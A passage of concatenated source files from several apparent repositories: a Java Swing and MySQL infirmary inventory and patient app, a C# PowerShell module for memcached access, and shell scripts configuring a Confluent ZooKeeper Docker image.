javax.swing.GroupLayout.PREFERRED_SIZE, 69, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addGroup(layout.createSequentialGroup() .addComponent(jLabel3) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(jScrollPane1)) .addGroup(layout.createSequentialGroup() .addComponent(jLabel2) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(alteraNomeMat)) .addGroup(layout.createSequentialGroup() .addComponent(jLabel1) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(alteraIDMat, javax.swing.GroupLayout.PREFERRED_SIZE, 50, javax.swing.GroupLayout.PREFERRED_SIZE)))) .addContainerGap(35, Short.MAX_VALUE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(alteraBtnMat) .addGap(123, 123, 123)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(83, 83, 83) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel1) .addComponent(alteraIDMat, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(47, 47, 47) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2) .addComponent(alteraNomeMat, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(35, 35, 35) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel3) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 40, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel4) .addComponent(alteraQtdMat, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(37, 37, 37) .addComponent(alteraBtnMat) .addGap(26, 26, 26)) ); pack(); }// </editor-fold>//GEN-END:initComponents private void alteraBtnMatActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_alteraBtnMatActionPerformed // TODO add your handling code here: Material m = new Material(); MaterialDAO mDAO = new MaterialDAO(); m.setIdMaterial(Integer.parseInt(alteraIDMat.getText())); m.setNomeMaterial(alteraNomeMat.getText()); m.setDesc(alteraDescMat.getText()); m.setQuantidade(Integer.parseInt(alteraQtdMat.getText())); mDAO.alterar(m); JOptionPane.showMessageDialog(this, "Material alterado com sucesso !"); alteraIDMat.setText(""); alteraNomeMat.setText(""); alteraDescMat.setText(""); alteraQtdMat.setText(""); }//GEN-LAST:event_alteraBtnMatActionPerformed /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(alteraMaterial.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(alteraMaterial.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(alteraMaterial.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(alteraMaterial.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new alteraMaterial().setVisible(true); } }); } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton alteraBtnMat; private javax.swing.JTextArea alteraDescMat; private javax.swing.JTextField alteraIDMat; private javax.swing.JTextField alteraNomeMat; private javax.swing.JTextField alteraQtdMat; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JScrollPane jScrollPane1; // End of variables declaration//GEN-END:variables } <file_sep>/TelasESOFII/src/bean/Paciente.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package bean; /** * * @author renato-sama */ public class Paciente { private int idPaciente; private String nomePaciente; private String obs; private String RA; private String CPF; public int getIdPaciente() { return idPaciente; } public void setIdPaciente(int idPaciente) { this.idPaciente = idPaciente; } public String getNomePaciente() { return nomePaciente; } public void setNomePaciente(String nomePaciente) { this.nomePaciente = nomePaciente; } public String getObs() { return obs; } public void setObs(String obs) { this.obs = obs; } public String getRA() { return RA; } public void setRA(String RA) { this.RA = RA; } public String getCPF() { return CPF; } public void setCPF(String CPF) { this.CPF = CPF; } } <file_sep>/TelasESOFII/src/dao/PacienteDAO.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package dao; import bean.Paciente; import com.mysql.jdbc.PreparedStatement; import conexao.BancoDados; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.logging.Level; import java.util.logging.Logger; /** * * @author renato-sama */ public class PacienteDAO { public void gravar(Paciente p){ PreparedStatement sql; try{ sql=(PreparedStatement) BancoDados.getInstance().prepareStatement ("insert into paciente(idPaciente,nomePaciente,Observacoes,RA_Aluno,CPF_Funcionario_Comunidade) values (null,?,?,?,?)"); //sql.setInt(1,a.getIdPaciente()); sql.setString(1,p.getNomePaciente()); sql.setString(2,p.getObs()); sql.setString(3,p.getRA()); sql.setString(4,p.getCPF()); sql.execute(); } catch(SQLException ex) { System.out.println(ex); } } // Método para buscar as pessoas cadastradas no BD public ArrayList consultar(){ PreparedStatement sql; ArrayList pacientes = new ArrayList(); try{ sql=(PreparedStatement) BancoDados.getInstance().prepareStatement ("SELECT * FROM PACIENTE"); ResultSet rs = sql.executeQuery(); while(rs.next()){ Paciente p = new Paciente(); p.setIdPaciente(rs.getInt("idPaciente")); p.setNomePaciente(rs.getString("NomePaciente")); p.setObs(rs.getString("Observacoes")); p.setRA(rs.getString("RA_Aluno")); p.setCPF(rs.getString("CPF_Funcionario_Comunidade")); pacientes.add(p); }// fim do while }// fim do try// fim do try catch(SQLException ex) { System.out.println(ex); } return pacientes; } public void alterar(Paciente p){ PreparedStatement sql; try{ sql=(PreparedStatement) BancoDados.getInstance().prepareStatement ("update paciente set NomePaciente=?, Observacoes=?, RA_Aluno=?, CPF_Funcionario_Comunidade=? where idPaciente=?"); sql.setString(1,p.getNomePaciente()); sql.setString(2,p.getObs()); sql.setString(3,p.getRA()); sql.setString(4,p.getCPF()); sql.setInt(5,p.getIdPaciente()); sql.execute(); } catch(SQLException ex) { System.out.println(ex); } } public void excluir(Paciente p){ PreparedStatement sql; try{ sql=(PreparedStatement) BancoDados.getInstance().prepareStatement ("delete from paciente where idPaciente=?"); sql.setInt(1,p.getIdPaciente()); sql.execute(); } catch(SQLException ex) { System.out.println(ex); } } } <file_sep>/Dump20181212/enfermariaif_materiais.sql -- MySQL dump 10.13 Distrib 5.7.17, for Win64 (x86_64) -- -- Host: localhost Database: enfermariaif -- ------------------------------------------------------ -- Server version 5.7.19 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `materiais` -- DROP TABLE IF EXISTS `materiais`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `materiais` ( `idMaterial` int(11) NOT NULL AUTO_INCREMENT, `NomeMaterial` varchar(40) DEFAULT NULL, `Tipo_Descricao` varchar(100) DEFAULT NULL, `Quantidade` int(11) DEFAULT NULL, PRIMARY KEY (`idMaterial`) ) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `materiais` -- LOCK TABLES `materiais` WRITE; /*!40000 ALTER TABLE `materiais` DISABLE KEYS */; INSERT INTO `materiais` VALUES (1,'Bulma','auau',1),(3,'asdas','asds',5); /*!40000 ALTER TABLE `materiais` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2018-12-12 22:56:25
4b6149c47a556a1332ef59b9936e30f45dfc1875
[ "Java", "SQL" ]
5
SQL
renato-sama/SistemaEnfermaria_ESofII
d42f6c4f143d89d8dfd7f3afa9d002a6b4df76ab
3a648d533486469a65e986dfd780f2eb8f62576f
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using Enyim.Caching.Configuration; using Enyim.Caching.Memcached; namespace MemPowered { public class MemcachedConfigBuilder { IList<IPEndPoint> eps = new List<IPEndPoint>(); Type locator; public MemcachedConfigBuilder AddServer(string ip, int port) { eps.Add(new IPEndPoint(IPAddress.Parse(ip), port)); return this; } public IEnumerable<IPEndPoint> GetServers() { return eps; } public MemcachedClientConfiguration Build() { var config = new MemcachedClientConfiguration(); foreach (IPEndPoint ep in eps) { config.Servers.Add(ep); } config.NodeLocator = locator ?? typeof(NodeLocatorNotifierDecorator<DefaultNodeLocator>); return config; } public MemcachedConfigBuilder SetNodeLocator(Type type) { locator = type; return this; } public MemcachedConfigBuilder RemoveServer(string ip, int port) { eps.Remove(new IPEndPoint(IPAddress.Parse(ip), port)); return this; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet to increment a value for a given key in memcached. /// </summary> [Cmdlet("Increment", "Memcached")] public class IncrementMemcachedCommand : MemcachedAccessCommandBase { [Parameter] public uint Amount = 1; protected override void ProcessRecord() { var client = Registry.GetClient(); WriteObject(client.Increment(Key, 0)); } protected override void WriteNodeInfo(MemcachedNode node) { WriteVerbose(Key + " - incrementing on - " + node.EndPoint.ToString()); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Enyim.Caching.Configuration; using System.Net; using Enyim.Caching; using Enyim.Caching.Memcached; namespace MemPowered { public static class Registry { static MemcachedConfigBuilder configBuilder = new MemcachedConfigBuilder(); static MemcachedClientConfiguration config; static MemcachedClient client; static Registry() { config = new MemcachedClientConfiguration(); client = new MemcachedClient(config); } public static MemcachedClient GetClient() { return client; } public static MemcachedConfigBuilder GetConfigBuilder() { return configBuilder; } public static void Register(this MemcachedConfigBuilder builder) { client = new MemcachedClient(builder.Build()); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Configuration; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet to retrieve a value for a given key from memcached. /// </summary> [Cmdlet("Get", "Memcached")] public class GetMemcachedCommand : MemcachedAccessCommandBase { protected override void ProcessRecord() { var client = Registry.GetClient(); var result = client.Get(Key); if (result == null) { WriteVerbose(Key + " - not found"); } else { WriteObject(result); } } protected override void WriteNodeInfo(MemcachedNode node) { WriteVerbose(Key + " - retrieving from - " + node.EndPoint.ToString()); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet to decrement a value for a given key in memcached. /// </summary> [Cmdlet("Decrement", "Memcached")] public class DecrementMemcachedCommand : MemcachedAccessCommandBase { [Parameter] public uint Amount = 1; protected override void ProcessRecord() { var client = Registry.GetClient(); WriteObject(client.Decrement(Key, 0)); } protected override void WriteNodeInfo(MemcachedNode node) { WriteVerbose(Key + " - decrementing on - " + node.EndPoint.ToString()); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet to store a value for a given key in memcached. /// </summary> [Cmdlet("Set", "Memcached")] public class SetMemcachedCommand : MemcachedAccessCommandBase { [Parameter(Mandatory = true, Position = 1)] public string Value; [Parameter] public StoreMode Mode = StoreMode.Set; protected override void ProcessRecord() { var client = Registry.GetClient(); client.Store(Mode, Key, Value); } protected override void WriteNodeInfo(MemcachedNode node) { WriteVerbose(Key + " - storing in - " + node.EndPoint.ToString()); } } }<file_sep>See the [wiki](/brianhartsock/MemPowered/wiki) <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Configuration; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet which returns stats for all memcached servers configured. /// </summary> [Cmdlet("Get", "MemcachedServerStats")] public class GetMemcachedServerStats : Cmdlet { protected override void ProcessRecord() { var client = Registry.GetClient(); var stats = client.Stats(); var servers = Registry.GetConfigBuilder().GetServers(); foreach (var server in servers) { foreach (var e in Enum.GetValues(typeof(StatItem))) { //HACK - Enyim library has a bug for the version statitem (tries to cast to an int...) if (((StatItem)e) != StatItem.Version) { WriteObject(server.ToString() + " - " + e.ToString() + " - " + stats.GetValue(server, ((StatItem)e))); } } } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Enyim.Caching.Memcached; using System.Management.Automation.Runspaces; namespace MemPowered { /// <summary> /// Memcached Node Locator that uses basic hashing concepts to determine the server a given key /// is associated with. /// /// This class is for educational purposes, and will normally yield a very low hit rate when /// adding/removing servers from configuration. /// </summary> public class BasicHashNodeLocator : IMemcachedNodeLocator { private IList<MemcachedNode> nodes; #region IMemcachedNodeLocator Members public void Initialize(IList<MemcachedNode> _nodes) { nodes = _nodes; } public MemcachedNode Locate(string key) { return nodes[Math.Abs(key.GetHashCode() % nodes.Count)]; } #endregion } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Cmdlet to change the node locator in the memcached config. Default is consistent. /// </summary> [Cmdlet("Set", "MemcachedServerLocator")] public class SetMemcachedServerLocator : Cmdlet { public enum NodeLocator { Basic, Consistent } [Parameter(Mandatory = true, Position = 0)] public NodeLocator Locator; protected override void ProcessRecord() { switch(Locator) { case NodeLocator.Basic: Registry.GetConfigBuilder() .SetNodeLocator(typeof(NodeLocatorNotifierDecorator<BasicHashNodeLocator>)) .Register(); break; case NodeLocator.Consistent: default: //Use default Registry.GetConfigBuilder() .SetNodeLocator(typeof(NodeLocatorNotifierDecorator<DefaultNodeLocator>)) .Register(); break; }; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Enyim.Caching.Memcached; namespace MemPowered { public static class Publisher { static List<Action<MemcachedNode>> registrants = new List<Action<MemcachedNode>>(); public static void Register(Action<MemcachedNode> action) { registrants.Add(action); } public static void Publish(MemcachedNode node) { registrants.ForEach(a => a.Invoke(node)); } public static void Unregister(Action<MemcachedNode> action) { registrants.Remove(action); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; namespace MemPowered { /// <summary> /// Cmdlet to remove a new memcached server from the config. /// </summary> [Cmdlet("Remove", "MemcachedServer")] public class RemoveMemcachedServerCommand : Cmdlet { [Parameter(Mandatory=true, Position=0)] public string Server; [Parameter(Mandatory = true, Position = 1)] public int Port; protected override void ProcessRecord() { Registry.GetConfigBuilder() .RemoveServer(Server, Port) .Register(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Base class for all Memcached commands which access key/value pair data somehow. /// </summary> public abstract class MemcachedAccessCommandBase : Cmdlet { [Parameter(Mandatory = true, Position = 0)] public string Key; protected override void BeginProcessing() { Publisher.Register(WriteNodeInfo); } protected override void EndProcessing() { Publisher.Unregister(WriteNodeInfo); } protected abstract void WriteNodeInfo(MemcachedNode node); } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management.Automation; namespace MemPowered { /// <summary> /// Cmdlet to add a new memcached server to the config. /// </summary> [Cmdlet("Add", "MemcachedServer")] public class AddMemcachedServerCommand : PSCmdlet { [Parameter(Mandatory=true, Position=0)] public string Server; [Parameter(Mandatory = true, Position = 1)] public int Port; protected override void ProcessRecord() { Registry.GetConfigBuilder() .AddServer(Server, Port) .Register(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using Enyim.Caching.Memcached; namespace MemPowered { /// <summary> /// Decorator for IMemcachedNodeLocator's that publishes events when the method is called. /// /// This class actually instantiates the inner class, because of how Enyim's config works. /// Normally, it would be injected. /// </summary> /// <typeparam name="T">Concrete type to decorate.</typeparam> public class NodeLocatorNotifierDecorator<T> : IMemcachedNodeLocator where T : IMemcachedNodeLocator { IMemcachedNodeLocator inner; public NodeLocatorNotifierDecorator() { inner = Activator.CreateInstance<T>(); } #region IMemcachedNodeLocator Members public void Initialize(IList<MemcachedNode> nodes) { inner.Initialize(nodes); } public MemcachedNode Locate(string key) { var node = inner.Locate(key); Publisher.Publish(node); return node; } #endregion } }
348dd42a6b1d7d1eca382d1278da34a7774c0b08
[ "Markdown", "C#" ]
15
C#
lewisliang82/MemPowered
2d1a31ee854073cda7106649d4f7eeb7fdca685d
d89e280df74ecb83990a4c46aebc197ca094a56a
refs/heads/master
<repo_name>cormacio100/cormacsblog_with_upload<file_sep>/posts/views.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.http import HttpResponse from django.shortcuts import render, get_object_or_404 from .models import Post # Create your views here. def index(request): return render(request, 'posts/index.html') def home(request): # retrieve all posts and REVEERSE ORDDERED by date posts = Post.objects.order_by('-pub_date') args = {'posts': posts} return render(request, 'posts/home.html', args) def post_details(request,post_id): post = get_object_or_404(Post,pk=post_id) #post = Post.objects.get(pk=post_id) return render(request, 'posts/post_detail.html', {'post': post})<file_sep>/posts/models.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models # Create your models here. # title, date, picture, text class Post(models.Model): title = models.CharField(max_length=255) pub_date = models.DateTimeField() image = models.ImageField(upload_to="media/") # need to install Pillow to use body = models.TextField() # make title visible in admin instead of Post Object def __unicode__(self): return self.title # make the pub_date more readable by providing a format # can be called directly from the template def pub_date_pretty(self): return self.pub_date.strftime('%b %d %Y') def summary(self): return self.body[:100]
d7981476cc9fa5b37d4818242a74699f7b4d29ef
[ "Python" ]
2
Python
cormacio100/cormacsblog_with_upload
03bbd65adaf1e60f19dc60cf2752fc41b9d36659
2c96706d2158d550b2862ae8929b8b4904140b53
refs/heads/master
<file_sep>angular.module('enejApp') .config(function($routeProvider) { $routeProvider.when('/workshops', { templateUrl: 'workshops/list.html', controller: 'workshopListController', controllerAs: 'ctrl' }).when('/workshops/add', { templateUrl: 'workshops/form.html', controller: 'workshopFormController', controllerAs: 'ctrl' }).when('/workshops/edit/:id', { templateUrl: 'workshops/form.html', controller: 'workshopFormController', controllerAs: 'ctrl' }) }) .controller('workshopListController', function($http) { var self = this; self.workshops = {}; $http.get('https://amber-fire-952.firebaseio.com/workshops.json').success(function (data) { self.workshops = data; }); self.removerWorkshop = function(key) { $http.delete('https://amber-fire-952.firebaseio.com/workshops/'+key+'.json').success(function() { delete self.workshops[key]; }) } }) .controller('workshopFormController', function($http, $location, $routeParams) { var self = this; self.workshop = {}; //se for edicao pega o workshop if($routeParams.id) { $http.get('https://amber-fire-952.firebaseio.com/workshops/'+$routeParams.id+'.json').success(function(data) { self.workshop = data; }); } //envia o formulario self.sendForm = function() { if($routeParams.id) { $http.put('https://amber-fire-952.firebaseio.com/workshops/'+$routeParams.id+'.json', self.workshop).success(function () { $location.path('/workshops'); }); } else { $http.post('https://amber-fire-952.firebaseio.com/workshops.json', self.workshop).success(function () { $location.path('/workshops'); }); } }; });<file_sep>angular.module('enejApp') .controller("profileController", function() { this.user = {}; this.user.nomeUsuario; this.user.email; this.user.senha; this.user.nome; this.user.sobrenome; this.user.nomeCracha; this.user.cpf; this.user.rg; this.user.sexo; this.user.cep; this.user.pais; this.user.estado; this.user.cidade; this.user.bairro; this.user.endereco; this.user.numero; this.user.complemento; this.user.nascimento; this.user.universidade; this.user.curso; this.user.periodo; this.user.federacao; this.user.ej; this.user.cargo; this.user.camisa; this.user.pne; this.user.necessidades; this.user.dieta; this.user.alergia; this.user.submitted = false; this.enviarForm = function() { myFirebaseRef.set(this.user); } }); <file_sep>angular.module('enejApp') .config(function($routeProvider) { $routeProvider.when('/quartos', { templateUrl: 'quartos/list.html', controller: 'quartoListController', controllerAs: 'ctrl' }).when('/quartos/add', { templateUrl: 'quartos/form.html', controller: 'quartoFormController', controllerAs: 'ctrl' }).when('/quartos/edit/:id', { templateUrl: 'quartos/form.html', controller: 'quartoFormController', controllerAs: 'ctrl' }) }) .controller('quartoListController', function($http) { var self = this; self.quartos = {}; $http.get('https://amber-fire-952.firebaseio.com/quartos.json').success(function (data) { self.quartos = data; }); self.removerQuarto = function(key) { $http.delete('https://amber-fire-952.firebaseio.com/quartos/'+key+'.json').success(function() { delete self.quartos[key]; }) } }) .controller('quartoFormController', function($http, $location, $routeParams) { var self = this; self.quarto = {}; self.hoteis = {}; $http.get('https://amber-fire-952.firebaseio.com/hoteis/.json').success(function(data) { self.hoteis = data; }); if($routeParams.id) { $http.get('https://amber-fire-952.firebaseio.com/quartos/'+$routeParams.id+'.json').success(function(data) { self.quarto = data; }); } self.sendForm = function() { if($routeParams.id) { $http.put('https://amber-fire-952.firebaseio.com/quartos/'+$routeParams.id+'.json', self.quarto).success(function() { $location.path('/quartos'); }); } else { $http.post('https://amber-fire-952.firebaseio.com/quartos.json', self.quarto).success(function() { $location.path('/quartos'); }); } } });<file_sep>angular.module('enejApp') .directive('mask', function() { return { restrict: 'A', link: function(scope, element, attrs) { element.mask(attrs.mask); } } });
f532f4ca612b469471d1e3c9be5328158f1000ef
[ "JavaScript" ]
4
JavaScript
lubehrens/sistema-inscricao
41a7826be2ba80048211ccbf3fa9932ec6f5b075
e495dca651a2739df44d98533f7afc5236b5ee06
refs/heads/master
<repo_name>putaolabs/collie<file_sep>/examples/socket/http/HttpServer/ab.sh declare -i i=10 until ((i>100)) do sleep 1 ab -c 2000 -n 10000 http://127.0.0.1:8081/ let ++i echo $i; done echo "over" <file_sep>/README.md [![Build Status](https://travis-ci.org/huntlabs/collie.svg?branch=master)](https://travis-ci.org/huntlabs/collie) # Collie An asynchronous event-driven network framework written in [dlang](http://dlang.org/), like [netty](http://netty.io/) framework in D. ## Require - System : FreeBSD, Linux, MacOS, Windows - D : Compiler Version >= 2.071 - libssl and libcrypto (optional,if use the ssl) ## Support Feature | epoll | kqueue | iocp | select ----------|-----------|------------|-----------|------------ TCP | Y | Y | Y | Y SSL* | Y | Y | Y | Y UDP | Y | Y | Y | Y Timer | Y | Y | Y | Y NOte: Now , the ssl only support as server. not support as a client. ## TODO - [ ] HTTP2 surport - [ ] Modules reorganization - [ ] Performance improvement - [ ] API improvement - [ ] Examples improvement ## Contact: * QQ Group : **184183224**
b88979a755947514d189ef31164d1fb33f0b4ee9
[ "Markdown", "Shell" ]
2
Shell
putaolabs/collie
f1e58e38a2c36366766e4778d3ea655ebac6962c
e78f1a96162aa0fd3accaa0f1cb3d81e1b7a532f
refs/heads/main
<repo_name>Abbaskhurram255/The-Constructor<file_sep>/scripts/.history/gamestates/level6_20201231133730.js let level6State = { create: function() { //Adding sprites const background = game.add.sprite(0, 0, 'mainMenuBg'); background.height = this.game.height; background.width = this.game.width; //creating UI mechanics.createInterface(); //Adding texts mechanics.createText('Oops, nothing here :( Level 6 will be available soon', 30, 5, 0, 100); }, };<file_sep>/scripts/.history/gamestates/level6_20201231134037.js let level6State = { create: function() { //Adding sprites const background = game.add.sprite(0, 0, 'mainMenuBg'); background.height = this.game.height; background.width = this.game.width; //creating UI mechanics.createInterface(); //Adding texts mechanics.createText('Level 5', 30, 5, 0, 100); const levelFive = game.add.sprite(280, 200, 'levelFive'); const block1 = game.add.sprite(mechanics.randomizeInitial(10,200), mechanics.randomizeInitial(380,400), 'block7'); mechanics.snapToGrid(block1); const block2 = game.add.sprite(mechanics.randomizeInitial(320,420), mechanics.randomizeInitial(470,480), 'block8'); mechanics.snapToGrid(block2); const block3 = game.add.sprite(mechanics.randomizeInitial(180,220), mechanics.randomizeInitial(200,300), 'block9'); mechanics.snapToGrid(block3); const block4 = game.add.sprite(mechanics.randomizeInitial(10,200), mechanics.randomizeInitial(80,120), 'block10'); mechanics.snapToGrid(block4); const block5 = game.add.sprite(mechanics.randomizeInitial(600,660), mechanics.randomizeInitial(380,400), 'block11'); mechanics.snapToGrid(block5); const block6 = game.add.sprite(mechanics.randomizeInitial(560,660), mechanics.randomizeInitial(80,100), 'block12'); mechanics.snapToGrid(block6); const block7 = game.add.sprite(mechanics.randomizeInitial(600,680), mechanics.randomizeInitial(220,240), 'block13'); mechanics.snapToGrid(block7); const block8 = game.add.sprite(mechanics.randomizeInitial(10,80), mechanics.randomizeInitial(220,260), 'block14'); mechanics.snapToGrid(block8); const blocksArray = [block1, block2, block3, block4, block5, block6, block7, block8]; mechanics.assignDrags(blocksArray, level5State.checkPosition); }, checkPosition: function() { if(this.block1.position.x === 320 && this.block1.position.y === 280 && this.block2.position.x === 320 && this.block2.position.y === 240 && this.block3.position.x === 280 && this.block3.position.y === 280 && this.block4.position.x === 280 && this.block4.position.y === 200 && this.block5.position.x === 280 && this.block5.position.y === 360 && this.block6.position.x === 400 && this.block6.position.y === 200 && this.block7.position.x === 400 && this.block7.position.y === 320 && this.block8.position.x === 480 && this.block8.position.y === 240) { mechanics.showEndgameInterface(); } }, };<file_sep>/README.md # The-Constructor > A game I built this December ## Deployed here: > https://abbaskhurram255.github.io/The-Constructor/ <br /> ### <i><b><NAME>, by the way, guys!</b></i>
b4aa96c6958aba28813fc862bfc158f3a3335bbd
[ "JavaScript", "Markdown" ]
3
JavaScript
Abbaskhurram255/The-Constructor
085f9c63bb1d209ca049fd95eb4c130fc98953c2
2ba3f058bcf8edc906e78d1d7f1060b71eee7065
refs/heads/master
<file_sep>#!/usr/bin/env bash docker build -t athlinks/confluent-zookeeper . && \ echo "SUCCESS!" <file_sep>#!/bin/bash mkdir -p /tmp/zookeeper echo ${MYID:-1} > /tmp/zookeeper/myid MYIP="$(ip -o -4 addr list eth0 | grep global | awk '{print $4}' | cut -d/ -f1)" echo "tickTime=2000" >> /opt/confluent/etc/kafka/zookeeper.properties echo "dataDir=/tmp/zookeeper" >> /opt/confluent/etc/kafka/zookeeper.properties echo "clientPort=2181" >> /opt/confluent/etc/kafka/zookeeper.properties if [[ ! -z $OTHER_NODES ]]; then echo "initLimit=10" >> /opt/confluent/etc/kafka/zookeeper.properties echo "syncLimit=5" >> /opt/confluent/etc/kafka/zookeeper.properties echo "ConnectPort=2888" >> /opt/confluent/etc/kafka/zookeeper.properties echo "ElectionPort=3888" >> /opt/confluent/etc/kafka/zookeeper.properties IFS=',' read -r -a ARRAY <<< "$OTHER_NODES" NODENUM=$((${#ARRAY[@]})) echo "$NODENUM NODE CLUSTER" echo "NODES: ME($MYIP),$OTHER_NODES" COUNT=0 REMOTECOUNT=0 echo "server.$MYID=$MYIP:2888:3888" >> /opt/confluent/etc/kafka/zookeeper.properties while [[ $COUNT -lt $NODENUM ]]; do NODE=${ARRAY[$COUNT]} IFS='=' read -r -a FIELDS <<< "$NODE" NODEID=${FIELDS[0]} REMOTEADDR=${FIELDS[1]} echo "NODE=$NODE; FIELDS=${FIELDS[@]}; NODEID=$NODEID; REMOTEADDR=$REMOTEADDR;" echo "server.$NODEID=$REMOTEADDR:2888:3888" >> 